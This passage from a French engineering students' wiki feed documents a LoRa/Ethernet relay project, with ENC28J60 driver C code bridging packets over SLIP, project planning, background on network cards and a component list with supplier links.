		}&lt;br /&gt;
		else { enc28j60WriteByteSend(c); nb_serial++; }&lt;br /&gt;
	}&lt;br /&gt;
 }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Et cela marche aussi.&lt;br /&gt;
&amp;lt;center&amp;gt;&lt;br /&gt;
{|&lt;br /&gt;
|[[Fichier:ping.jpg|thumb|upright=2|ping]]&lt;br /&gt;
|[[Fichier:tcpdump.jpg|thumb|upright=2|tcpdump]]&lt;br /&gt;
|}&lt;br /&gt;
&amp;lt;/center&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Nous avons aussi remplacé la fonction '''enc28j60PacketReceive(unsigned int maxlen, unsigned char* packet)''' par 3 fonctions.&lt;br /&gt;
La première fonction permet d'initialiser le buffer de recevoir et voir s'il y a un paquet est reçu.&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
//Function that initializes the receive buffer&lt;br /&gt;
unsigned int enc28j60PacketReceive(void)&lt;br /&gt;
{&lt;br /&gt;
	uint16_t rcvlen;&lt;br /&gt;
        uint16_t rxstat;&lt;br /&gt;
	&lt;br /&gt;
	// check if a packet has been received and buffered&lt;br /&gt;
	if(enc28j60Read(EPKTCNT)==0) &lt;br /&gt;
	{&lt;br /&gt;
		return(0);&lt;br /&gt;
	}&lt;br /&gt;
	&lt;br /&gt;
	// set the read pointer to the start of the received packet&lt;br /&gt;
	enc28j60Write(ERDPTL, (NextPacketPtr));&lt;br /&gt;
	enc28j60Write(ERDPTH, (NextPacketPtr)&amp;gt;&amp;gt;8);&lt;br /&gt;
	&lt;br /&gt;
	// read the next packet pointer&lt;br /&gt;
	NextPacketPtr = enc28j60ReadOp(ENC28J60_READ_BUF_MEM,0);&lt;br /&gt;
	NextPacketPtr |= enc28j60ReadOp(ENC28J60_READ_BUF_MEM,0)&amp;lt;&amp;lt;8;&lt;br /&gt;
&lt;br /&gt;
	// read the packet length&lt;br /&gt;
	rcvlen = enc28j60ReadOp(ENC28J60_READ_BUF_MEM,0);&lt;br /&gt;
	rcvlen |= enc28j60ReadOp(ENC28J60_READ_BUF_MEM,0)&amp;lt;&amp;lt;8;&lt;br /&gt;
	&lt;br /&gt;
	// read the receive status&lt;br /&gt;
	rxstat = enc28j60ReadOp(ENC28J60_READ_BUF_MEM,0);&lt;br /&gt;
	rxstat = enc28j60ReadOp(ENC28J60_READ_BUF_MEM,0)&amp;lt;&amp;lt;8;&lt;br /&gt;
	&lt;br /&gt;
	return(rcvlen);	&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
La seconde fonction permets de lire un seul octet dans un paquet&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
unsigned char enc28j60ByteRead(void)&lt;br /&gt;
{&lt;br /&gt;
&lt;br /&gt;
	return enc28j60ReadOp(ENC28J60_READ_BUF_MEM,0);&lt;br /&gt;
		&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
La troisième fonction permets de libérer le buffer&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
void enc28j60FreeMemory(void)&lt;br /&gt;
{       &lt;br /&gt;
	// move the RX read pointer to the start of the next received packet&lt;br /&gt;
	// this frees the memory we just read out&lt;br /&gt;
	enc28j60Write(ERXRDPTL, (NextPacketPtr));&lt;br /&gt;
	enc28j60Write(ERXRDPTH, (NextPacketPtr)&amp;gt;&amp;gt;8);&lt;br /&gt;
	enc28j60WriteOp(ENC28J60_BIT_FIELD_SET,ECON2,ECON2_PKTDEC);&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Donc le code principal est&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
int main(void)&lt;br /&gt;
{&lt;br /&gt;
init_serial(115200);&lt;br /&gt;
enc28j60Init(mac);&lt;br /&gt;
enc28j60InitializeSend();&lt;br /&gt;
output_init();&lt;br /&gt;
while(1)&lt;br /&gt;
 {&lt;br /&gt;
	if(nb_ethernet==0)&lt;br /&gt;
	{&lt;br /&gt;
		//nb_ethernet=enc28j60PacketReceive(MAX_BYTES,packet_ethernet);&lt;br /&gt;
		nb_ethernet=enc28j60PacketReceive();&lt;br /&gt;
		if(nb_ethernet!=0)&lt;br /&gt;
		{&lt;br /&gt;
			index_ethernet=0;&lt;br /&gt;
			output_set(7,1);&lt;br /&gt;
		}&lt;br /&gt;
        }&lt;br /&gt;
	if((nb_ethernet&amp;gt;0)&amp;amp;&amp;amp;(serial_tx_available()))&lt;br /&gt;
	{&lt;br /&gt;
		if(index_ethernet&amp;lt;nb_ethernet)&lt;br /&gt;
		{&lt;br /&gt;
			output_set(6,1);&lt;br /&gt;
			unsigned char c=enc28j60ByteRead(); index_ethernet++;&lt;br /&gt;
			if(c==SLIP_END){send_serial(SLIP_ESC); send_serial(SLIP_CODE_END);}&lt;br /&gt;
			else if(c==SLIP_ESC){send_serial(SLIP_ESC); send_serial(SLIP_CODE_ESC);}&lt;br /&gt;
			else send_serial(c);&lt;br /&gt;
			output_set(6,0);&lt;br /&gt;
		}&lt;br /&gt;
		else&lt;br /&gt;
		{&lt;br /&gt;
			send_serial(SLIP_END); nb_ethernet=0; output_set(7,0);&lt;br /&gt;
			enc28j60FreeMemory(); &lt;br /&gt;
		}&lt;br /&gt;
	}&lt;br /&gt;
	if(serial_rx_available())&lt;br /&gt;
	{&lt;br /&gt;
		output_set(5,1);&lt;br /&gt;
		unsigned char c=get_serial();&lt;br /&gt;
		output_set(5,0);&lt;br /&gt;
		if(nb_serial==0) enc28j60InitializeSend(); &lt;br /&gt;
		if(c==SLIP_ESC)&lt;br /&gt;
		{&lt;br /&gt;
			output_set(5,1);&lt;br /&gt;
			unsigned char code=get_serial();&lt;br /&gt;
			output_set(5,0);&lt;br /&gt;
			if(code==SLIP_CODE_END) &lt;br /&gt;
			{	&lt;br /&gt;
				enc28j60WriteByteSend(SLIP_END);&lt;br /&gt;
				nb_serial++;&lt;br /&gt;
			}&lt;br /&gt;
			else if(code==SLIP_CODE_ESC) &lt;br /&gt;
			{&lt;br /&gt;
				enc28j60WriteByteSend(SLIP_ESC);&lt;br /&gt;
				nb_serial++;&lt;br /&gt;
			}&lt;br /&gt;
        	}&lt;br /&gt;
		else if(c==SLIP_END)&lt;br /&gt;
		{&lt;br /&gt;
			enc28j60FinalizeSend();&lt;br /&gt;
			nb_serial=0;&lt;br /&gt;
		}&lt;br /&gt;
		else { enc28j60WriteByteSend(c); nb_serial++; }&lt;br /&gt;
	}&lt;br /&gt;
 }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Avec toutes ces modifications, ces deux cartes Ethernet peuvent communiquer entre eux.&lt;br /&gt;
&amp;lt;center&amp;gt;&lt;br /&gt;
{|&lt;br /&gt;
|[[Fichier:ping1.jpg|thumb|upright=1.5|ping]]&lt;br /&gt;
|[[Fichier:tcpdump1.jpg|thumb|upright=1.5|tcpdump]]&lt;br /&gt;
|[[Fichier:communication1.jpg|thumb|upright=1.5|tcpdump]]&lt;br /&gt;
|}&lt;br /&gt;
&amp;lt;/center&amp;gt;&lt;br /&gt;
&lt;br /&gt;
= Références =&lt;br /&gt;
&lt;br /&gt;
=== Datasheets ===&lt;br /&gt;
&lt;br /&gt;
[[Fichier:datasheet_cartereseau.pdf]]&lt;br /&gt;
&lt;br /&gt;
[[Fichier:datasheet_lora.pdf]]&lt;br /&gt;
&lt;br /&gt;
Micro-controleur Atmega328p: http://www.atmel.com/Images/Atmel-42735-8-bit-AVR-Microcontroller-ATmega328-328P_datasheet.pdf&lt;br /&gt;
&lt;br /&gt;
=== Documentation (Liens utiles) ===&lt;br /&gt;
&lt;br /&gt;
https://learn.adafruit.com/adafruit-feather-32u4-radio-with-lora-radio-module/downloads&lt;br /&gt;
&lt;br /&gt;
Schematic du module radio : http://modtronix.com/prod/imod/inair9/inair9_r1_sch.pdf&lt;br /&gt;
&lt;br /&gt;
Schematic du mbed : https://developer.mbed.org/media/uploads/chris/lpc1768-refdesign-schematic.pdf&lt;br /&gt;
&lt;br /&gt;
Carte MBED à base de microprocesseur ARM Cortex-3 : http://www.rennes.supelec.fr/ren/perso/jweiss/microp/mbed/mbed.php/&lt;br /&gt;
&lt;br /&gt;
Carte MBED : http://elmicro.com/en/mbed-nxp-lpc1768.html&lt;br /&gt;
&lt;br /&gt;
https://github.com/2xs/smews/tree/develop/targets/Arduino_ethernet/drivers&lt;br /&gt;
&lt;br /&gt;
= Rapport du PFE =&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Rapport_intermédiairePFE19_Chen_Nduwayo.pdf]]&lt;/div&gt;</summary>
		<author><name>Cchen2</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=P19_Relai_Ethernet_Lora&amp;diff=39064</id>
		<title>P19 Relai Ethernet Lora</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=P19_Relai_Ethernet_Lora&amp;diff=39064"/>
				<updated>2017-02-14T12:13:02Z</updated>
		
		<summary type="html">&lt;p&gt;Cchen2 : /* Ethernet Module ENC28J60 */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;=Présentation générale du projet=&lt;br /&gt;
===Contexte du projet===&lt;br /&gt;
&lt;br /&gt;
L'internet des objets est un domaine en pleine croissance qui permet entre autres d'établir des interactions entre des utilisateurs et des objets connectables.&lt;br /&gt;
&lt;br /&gt;
Les domaines d'applications sont diverses et variées: du contrôle des chauffages dans nos maisons en passant par les smart cities,ou encore le tracking des marchandises,..on y retrouve des dispositifs intelligents tels que des capteurs, des interfaces de communication avec d'autres dispositifs,..&lt;br /&gt;
Aujourd'hui plusieurs équipements embarqués voient le jour, cependant les protocoles de communication n'évoluent pas autant, entraînant donc une forte consommation d'énergie, un besoin énorme en termes de mémoire, réseau,..&lt;br /&gt;
&lt;br /&gt;
Semtech,une entreprise grenobloise, crée en 19 un modem radio LoRa adapté aux besoins des objets connectés et offre une technologie de communication à faible consommation d'énergie, une longue portée(pouvant aller jusqu'à 15 km),un débit faible,..&lt;br /&gt;
&lt;br /&gt;
L'actuelle main mise du privé sur les réseaux IP n'est pas forcément une bonne chose pour Internet.&lt;br /&gt;
&lt;br /&gt;
===Objectif du projet===&lt;br /&gt;
&lt;br /&gt;
L'objectif du projet est de réaliser un module autonome connectable sur une box Internet permettant de relier deux sites avec une connexion longue distance.&lt;br /&gt;
[[Fichier:carte.png|500px|center|Schématique de l'objectif du projet]]&lt;br /&gt;
&lt;br /&gt;
===Cahier de charges===&lt;br /&gt;
Le projet se déroulera en deux phases. Nous utiliserons 2 technologies: L'ethernet et la communication par radio fréquences.&lt;br /&gt;
&lt;br /&gt;
Nous réaliserons d'abord un premier prototype construit  autour d'un AtMega328P, d'une carte Ethernet (avec un micro-contrôleur Microchip ENC28J60), et d'un modem radio LoRa.&lt;br /&gt;
Un connecteur USB est prévu pour l'alimentation.&lt;br /&gt;
&lt;br /&gt;
Ensuite, nous réaliserons un deuxième prototype sur la base d'un module MBED équipé d'un microcontroleur 32 bits à processeur ARM Cortex M3  , du même modem LoRa.&lt;br /&gt;
&lt;br /&gt;
Nous avons choisi ce processeur pour :&lt;br /&gt;
&lt;br /&gt;
le fait qu'un module Ethernet PHY soit  intégré; qui opère au niveau de la couche physique du modèle OSI et met en œuvre la partie de la couche physique Ethernet du 1000BASE-T, 100BASE-TX, et les normes 10BASE-T.&lt;br /&gt;
&lt;br /&gt;
la vitesse du processeur très élevée,&lt;br /&gt;
&lt;br /&gt;
Présence de plusieurs périphériques série&lt;br /&gt;
&lt;br /&gt;
En ce qui concerne l'environnement de développement,le compilateur MBED permet d'écrire des programmes en C++ qui peuvent être compilés en ligne.&lt;br /&gt;
    &lt;br /&gt;
Nous comptons également utiliser le protocole PoE (Power over Ethernet) pour l'alimentation par le port Ethernet, prévoir un protocole de communication pour la transmission des paquets Ethernet par LoRa.&lt;br /&gt;
&lt;br /&gt;
===Suivi du projet===&lt;br /&gt;
 {| class=&amp;quot;wikitable alternance centre&amp;quot;&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | Semaine 1 (19/09)&lt;br /&gt;
 | Réunions avec l'encadrant de projet / Définition des objectifs / Recherche bibliographique&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | Semaine 2 (26/09)&lt;br /&gt;
 | &lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | Semaine 3 (03/10)&lt;br /&gt;
 | &lt;br /&gt;
 |-&lt;br /&gt;
  ! scope=&amp;quot;row&amp;quot; | Semaine 4 (11/10)&lt;br /&gt;
 | Etablissement de la liste du matériel&lt;br /&gt;
 |-&lt;br /&gt;
   ! scope=&amp;quot;row&amp;quot; | Semaine 5(18/10)&lt;br /&gt;
 | Etablissement de la liste du matériel&lt;br /&gt;
 |-&lt;br /&gt;
   ! scope=&amp;quot;row&amp;quot; | Semaine 6(25/10)&lt;br /&gt;
 | Recherche de la librairie C pour le SX1276&lt;br /&gt;
 |-&lt;br /&gt;
   ! scope=&amp;quot;row&amp;quot; | Semaine 7(31/10)&lt;br /&gt;
 | Réalisation des schematics pour la carte1 et création des bibliothèques des composants&lt;br /&gt;
 |-&lt;br /&gt;
&lt;br /&gt;
 |}&lt;br /&gt;
&lt;br /&gt;
===Planning prévisionnel===&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Planning_.pdf]]&lt;br /&gt;
&lt;br /&gt;
[[Fichier:PLANNING.png|800px|center|Planning du projet]]&lt;br /&gt;
&lt;br /&gt;
===La recherche et la documentation ===&lt;br /&gt;
====Microcontrôleur Atmega328p====&lt;br /&gt;
Atmega328p est un mono-puce microcontrôleur.&lt;br /&gt;
====Carte Réseau====&lt;br /&gt;
=====Qu'est-ce qu'une carte réseau?=====&lt;br /&gt;
La carte réseau (appelée Network Interface Card en anglais et notée NIC) constitue l'interface entre l'ordinateur et le câble du réseau. La fonction d'une carte réseau est de préparer, d'envoyer et de contrôler les données sur le réseau. &lt;br /&gt;
&lt;br /&gt;
Pour préparer les données à envoyer, la carte réseau utilise un transceiver qui transforme les données parallèles en données séries. Chaque carte dispose d'une adresse unique, appelée adresse MAC, affectée par le constructeur de la carte, ce qui lui permet d'être identifiée de façon unique dans le monde parmi toutes les autres cartes réseau. &lt;br /&gt;
&lt;br /&gt;
=====Quel est le rôle d'une carte réseau?=====&lt;br /&gt;
Une carte réseau sert d'interface physique entre l'ordinateur et le câble. Elle prépare pour le câble réseau les données émises par l'ordinateur, les transfère vers un autre ordinateur et contrôle le flux de données entre l'ordinateur et le câble. Elle traduit aussi les données venant du câble et les traduit en octets afin que l'Unité Centrale de l'ordinateur les comprenne. Ainsi une carte réseau est une carte d'extension s'insérant dans un connecteur d'extensions (slot). &lt;br /&gt;
&lt;br /&gt;
=====Qu'est-ce qu'une carte réseau Ethernet?=====&lt;br /&gt;
La plupart des cartes réseau destinées au grand public sont des cartes Ethernet. Elles utilisent comme support de communication des paires torsadées (8 fils en cuivre), disposant à chaque extrémité de prises RJ45. &lt;br /&gt;
&lt;br /&gt;
Les trois standards Ethernet (norme 802.3) les plus courants correspondent aux trois débits les plus fréquemment rencontrés : &lt;br /&gt;
1.Le 10Base-T permet un débit maximal de 10 Mbit/s. Le câble RJ45 peut alors mesurer jusqu'à une centaine de mètres et seuls 4 des 8 fils sont    utilisés.&lt;br /&gt;
2.Le 100Base-TX permet un débit maximal de 100 Mbit/s. Il est également appelé Fast Ethernet et est désormais supporté par la quasi-totalité des cartes réseau. Comme pour le 10Base-T, le câble RJ45 peut alors mesurer jusqu'à une centaine de mètres et seuls 4 des 8 fils sont utilisés.&lt;br /&gt;
3.Le 1000Base-T permet un débit maximal de 1 000 Mbit/s. Il est également appelé Gigabit Ethernet et se démocratise rapidement. Pour que le réseau fonctionne correctement, le câble RJ45 peut toujours mesurer jusqu'à 100 m, mais doit être de bonne qualité. Cette fois, les 8 fils sont utilisés.&lt;br /&gt;
&lt;br /&gt;
[[Fichier:ce.jpg|300px|center|Carte Ethernet]]&lt;br /&gt;
&lt;br /&gt;
=====Ethernet Module ENC28J60=====&lt;br /&gt;
Pour la suite de notre projet, il faut une bonne connaissance du module ENC28J60. Les comportements d'enc28j60.&lt;br /&gt;
&amp;lt;center&amp;gt;&lt;br /&gt;
{|&lt;br /&gt;
| [[Fichier:enc28j60.jpg|thumb|upright=0.75|L'intérieure d'enc28j60]]&lt;br /&gt;
|}&lt;br /&gt;
&amp;lt;/center&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=Avancement du projet=&lt;br /&gt;
===Souder la carte Ethernet===&lt;br /&gt;
[[Fichier:carte1.JPG|500px|center|Carte Ethernet]]&lt;br /&gt;
&lt;br /&gt;
===Liste du matériel ===&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
 |-&lt;br /&gt;
 ! Matériel !! Quantité requise !! Quantité disponible !! A commander !! Commentaires &lt;br /&gt;
 |-&lt;br /&gt;
 |&amp;lt;span style=&amp;quot;color:green&amp;quot;&amp;gt;Premier prototype (à base d'un AtMega328P) &amp;lt;/span&amp;gt; &amp;lt;br/&amp;gt;&lt;br /&gt;
 |-&lt;br /&gt;
 | &amp;lt;span style=&amp;quot;color:red&amp;quot;&amp;gt;Partie Ethernet&amp;lt;/span&amp;gt; &amp;lt;br/&amp;gt;&lt;br /&gt;
 |-&lt;br /&gt;
 | Résistances 49.9Ω &lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Farnell [http://fr.farnell.com/multicomp/mc0063w0603149r9/res-couche-epaisse-49-9r-1-0-063w/dp/1170658]&lt;br /&gt;
 |-&lt;br /&gt;
 | Résistances 270Ω &lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Farnell [http://fr.farnell.com/multicomp/mc0063w06031270r/res-couche-epaisse-270r-1-0-063w/dp/9330917]&lt;br /&gt;
 |-&lt;br /&gt;
 | Résistances 2.32kΩ &lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Farnell [http://fr.farnell.com/panasonic-electronic-components/erj3ekf2321v/res-couche-epaisse-2-32k-1-0-1w/dp/2059348]&lt;br /&gt;
 |-&lt;br /&gt;
 | Capacités polarisation 10µF&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Mouser [http://www.mouser.fr/ProductDetail/Panasonic/EEE-1CA100SR/?qs=sGAEpiMZZMtZ1n0r9vR22cS6GEbW2ftopYz4rCIbvDM%3d]&lt;br /&gt;
 |-&lt;br /&gt;
 | Capacités 0.1µF&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Farnell [http://fr.farnell.com/walsin/0603b104k500ct/condensateur-mlcc-x7r-0-1uf-50v/dp/2496834]&lt;br /&gt;
 |- &lt;br /&gt;
 | Capacités 20pF&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Farnell [http://fr.farnell.com/multicomp/mc0603n200j500ct/condensateur-mlcc-c0g-20pf-50v/dp/2627461]&lt;br /&gt;
 |- &lt;br /&gt;
 | Capacités 1µF&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Farnell [http://fr.farnell.com/multicomp/mc0603f105z160ct/condensateur-mlcc-y5v-1uf-0603/dp/1759408]&lt;br /&gt;
 |-&lt;br /&gt;
 | Puce Électronique ENC28J60SP&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | Farnell [http://fr.farnell.com/microchip/enc28j60-i-ss/controller-ethernet-w-spi-28ssop/dp/1811239]&lt;br /&gt;
 |- &lt;br /&gt;
 | Régulateur MCP1702Z&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | Mouser [http://eu.mouser.com/ProductDetail/Microchip-Technology/MCP1702T-3302E-CB/?qs=sGAEpiMZZMvAvBNgSS9Lqk3eHZrpDiDq]&lt;br /&gt;
 |-&lt;br /&gt;
 |Régulateur de tension LD1117AV33&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | Mouser [http://www.mouser.fr/ProductDetail/STMicroelectronics/LD1117S33CTR/?qs=sGAEpiMZZMsGz1a6aV8DcJsN6alkZ8%2fO7DPMKNVBfQo%3d]&lt;br /&gt;
 |-&lt;br /&gt;
 | Connecteur SI-50196-F&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | Digi-Key [http://www.digikey.com/product-detail/en/stewart-connector/SI-50196-F/380-1104-ND/1033370]&lt;br /&gt;
 |-&lt;br /&gt;
 | Filtre BL01RN1A&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | Farnell [http://fr.farnell.com/murata/bl01rn1a1d2b/inductance-axial/dp/9526820][http://eu.mouser.com/ProductDetail/Murata-Electronics/BLM18SG260TZ1D/?qs=sGAEpiMZZMtdyQheitOmRQALsn%2f4R2uWDsPpHR73GJ7AqK%2feTuCJMw%3d%3d]&lt;br /&gt;
 |- |&lt;br /&gt;
 | Quartz ECSS250XM&lt;br /&gt;
 | 2&lt;br /&gt;
 | 2&lt;br /&gt;
 | 2&lt;br /&gt;
 | Mouser [http://www.mouser.fr/ProductDetail/TXC-Corporation/AT-27000MAGK-T/?qs=sGAEpiMZZMsBj6bBr9Q9acbyZ2GpyozzM1WJFBKECM0%3d]&lt;br /&gt;
 |-&lt;br /&gt;
 | &amp;lt;span style=&amp;quot;color:red&amp;quot;&amp;gt;Partie  Arduino&amp;lt;/span&amp;gt; &amp;lt;br/&amp;gt;&lt;br /&gt;
 |-&lt;br /&gt;
 | Micro-contrôleur de type ATMEGA328P&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | Farnell [http://fr.farnell.com/atmel/atmega328p-mur/mcu-8-bits-atmega-20mhz-mlf-32/dp/2425125]&lt;br /&gt;
 |- &lt;br /&gt;
 | Quartz FA238 16MHz&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | Farnell [http://fr.farnell.com/iqd-frequency-products/lfxtal003237/quartz-cms-16mhz/dp/9713808?MER=BN-PDP-9713808]&lt;br /&gt;
 |-&lt;br /&gt;
 | Résistance 1MΩ +/- 5%&lt;br /&gt;
 | 5&lt;br /&gt;
 | 5&lt;br /&gt;
 | 5&lt;br /&gt;
 | Farnell [http://fr.farnell.com/multicomp/mc0603saf1004t5e/thick-film-resistor-1mohm-100mw/dp/1631320]&lt;br /&gt;
 |- |&lt;br /&gt;
 | Résistance 1KΩ&lt;br /&gt;
 | 5&lt;br /&gt;
 | 5&lt;br /&gt;
 | 5&lt;br /&gt;
 | Farnell [http://fr.farnell.com/multicomp/mcwr06x1001ftl/res-couche-epaisse-1k-1-0-1w-0603/dp/2447272]&lt;br /&gt;
 |-&lt;br /&gt;
 | Resistances 470Ω&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Farnell [http://fr.farnell.com/multicomp/mc0063w06031470r/res-couche-epaisse-470r-1-0-063w/dp/9331239]&lt;br /&gt;
 |-&lt;br /&gt;
 | Capacité 100nF&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Farnell  [http://fr.farnell.com/multicomp/mc0603b104k500ct/condensateur-mlcc-x7r-100nf-50v/dp/1759122]&lt;br /&gt;
 |-&lt;br /&gt;
 | Capacité 4.7uF&lt;br /&gt;
 | 5&lt;br /&gt;
 | 5&lt;br /&gt;
 | 5&lt;br /&gt;
 | Farnell [http://fr.farnell.com/multicomp/mc0603x475k6r3ct/condensateur-mlcc-x5r-4-7uf-6/dp/2320811]&lt;br /&gt;
 |-&lt;br /&gt;
 | Capacité 10uF&lt;br /&gt;
 | 5&lt;br /&gt;
 | 5&lt;br /&gt;
 | 5 |&lt;br /&gt;
 | Farnell [http://fr.farnell.com/multicomp/mc0603x106m6r3ct/condensateur-mlcc-x5r-10uf-0603/dp/1759393]&lt;br /&gt;
 |-&lt;br /&gt;
 | Interrupteur&lt;br /&gt;
 | 2&lt;br /&gt;
 | 2&lt;br /&gt;
 | 2&lt;br /&gt;
 | Mouser [http://www.mouser.fr/ProductDetail/CK-Components/GT11MSABE/?qs=sGAEpiMZZMvudeGI7i40XDPOW52%2fnz5EVihaxwUPFuE%3d]&lt;br /&gt;
 |-&lt;br /&gt;
 | Embase USB&lt;br /&gt;
 | 2&lt;br /&gt;
 | 2&lt;br /&gt;
 | 2&lt;br /&gt;
 | Farnell [http://fr.farnell.com/te-connectivity-amp/1734328-1/embase-mini-usb-2-0-type-ab-traversante/dp/2112375?ost=2112375&amp;amp;selectedCategoryId=&amp;amp;categoryNameResp=Toutes%2Bles%2Bcat%25C3%25A9gories&amp;amp;searchView=table&amp;amp;iscrfnonsku=false]&lt;br /&gt;
 |-&lt;br /&gt;
 | FTDI FT232 BASIC&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | Farnell [http://fr.farnell.com/ftdi/ft232bl-tr/usb-to-uart-lqfp32-232/dp/9519769] MOUSER [http://www.mouser.fr/ProductDetail/FTDI/FT232RL-TUBE/?qs=sGAEpiMZZMs5ceO8zL%252bTx2H7JnbI4GMI]&lt;br /&gt;
 |-&lt;br /&gt;
 | Diode&lt;br /&gt;
 | 5&lt;br /&gt;
 | 5&lt;br /&gt;
 | 5&lt;br /&gt;
 | Farnell [http://fr.farnell.com/multicomp/s1a/diode-cms-1-0a-50v/dp/7277920?ost=DIODE+7277920&amp;amp;selectedCategoryId=&amp;amp;categoryNameResp=Toutes%2Bles%2Bcat%25C3%25A9gories&amp;amp;searchView=table&amp;amp;iscrfnonsku=false]&lt;br /&gt;
 |-&lt;br /&gt;
 | Regulateur 78ADJ  LDO Tension fixe&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | Farnell [http://fr.farnell.com/on-semiconductor/mc33269dt-5-0g/ic-linear-voltage-regulator/dp/1652331?ost=1652331&amp;amp;selectedCategoryId=&amp;amp;categoryName=Toutes+les+cat%C3%A9gories&amp;amp;categoryNameResp=Toutes%2Bles%2Bcat%25C3%25A9gories]&lt;br /&gt;
 |-&lt;br /&gt;
 | LED yellow&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | Farnell [http://fr.farnell.com/multicomp/ovs-0806/led-0805-super-brt-yellow/dp/1716767]&lt;br /&gt;
 |-&lt;br /&gt;
 | LED orange&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | Farnell&lt;br /&gt;
 |-&lt;br /&gt;
 | LED green&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | Farnell [http://fr.farnell.com/multicomp/ovs-0804/led-0805-green-300mcd-520nm/dp/1716766]&lt;br /&gt;
 |-&lt;br /&gt;
 | LED blue&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | Farnell [http://fr.farnell.com/multicomp/ovs-0603/led-0603-super-bright-blue/dp/1716770]&lt;br /&gt;
 |-&lt;br /&gt;
 | &amp;lt;span style=&amp;quot;color:red&amp;quot;&amp;gt;Partie LoRa&amp;lt;/span&amp;gt; &amp;lt;br/&amp;gt;&lt;br /&gt;
 |-&lt;br /&gt;
 | Module radio de type RF-LORA-868-SX1276&lt;br /&gt;
 | 4&lt;br /&gt;
 | 4&lt;br /&gt;
 | 4&lt;br /&gt;
 | Mouser [http://www.mouser.fr/ProductDetail/Semtech/SX1276IMLTRT/?qs=%2fha2pyFadugD0GFlntRWMUKdf7nvBipcWBFnZuVONfp58bvCDWvC3g%3d%3d]&lt;br /&gt;
 |-&lt;br /&gt;
 | Capacités 10uF&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Farnell [http://fr.farnell.com/murata/grm188r60j106ke47d/condens-mlcc-x5r-10uf-6-3v-0603/dp/2494230]&lt;br /&gt;
 |-&lt;br /&gt;
 | Capacités 100nF&lt;br /&gt;
 | 20&lt;br /&gt;
 | 20&lt;br /&gt;
 | 20&lt;br /&gt;
 | Farnell [http://fr.farnell.com/multicomp/mc0603b104k500ct/condensateur-mlcc-x7r-100nf-50v/dp/1759122]&lt;br /&gt;
 |-&lt;br /&gt;
 | Capacités 47pF |&lt;br /&gt;
 | 20&lt;br /&gt;
 | 20&lt;br /&gt;
 | 20&lt;br /&gt;
 | Farnell [http://fr.farnell.com/multicomp/mc0603n470j500ct/condensateur-mlcc-c0g-np0-47pf/dp/1759062]&lt;br /&gt;
 |-&lt;br /&gt;
 | Capacités 15pF&lt;br /&gt;
 | 10&lt;br /&gt;
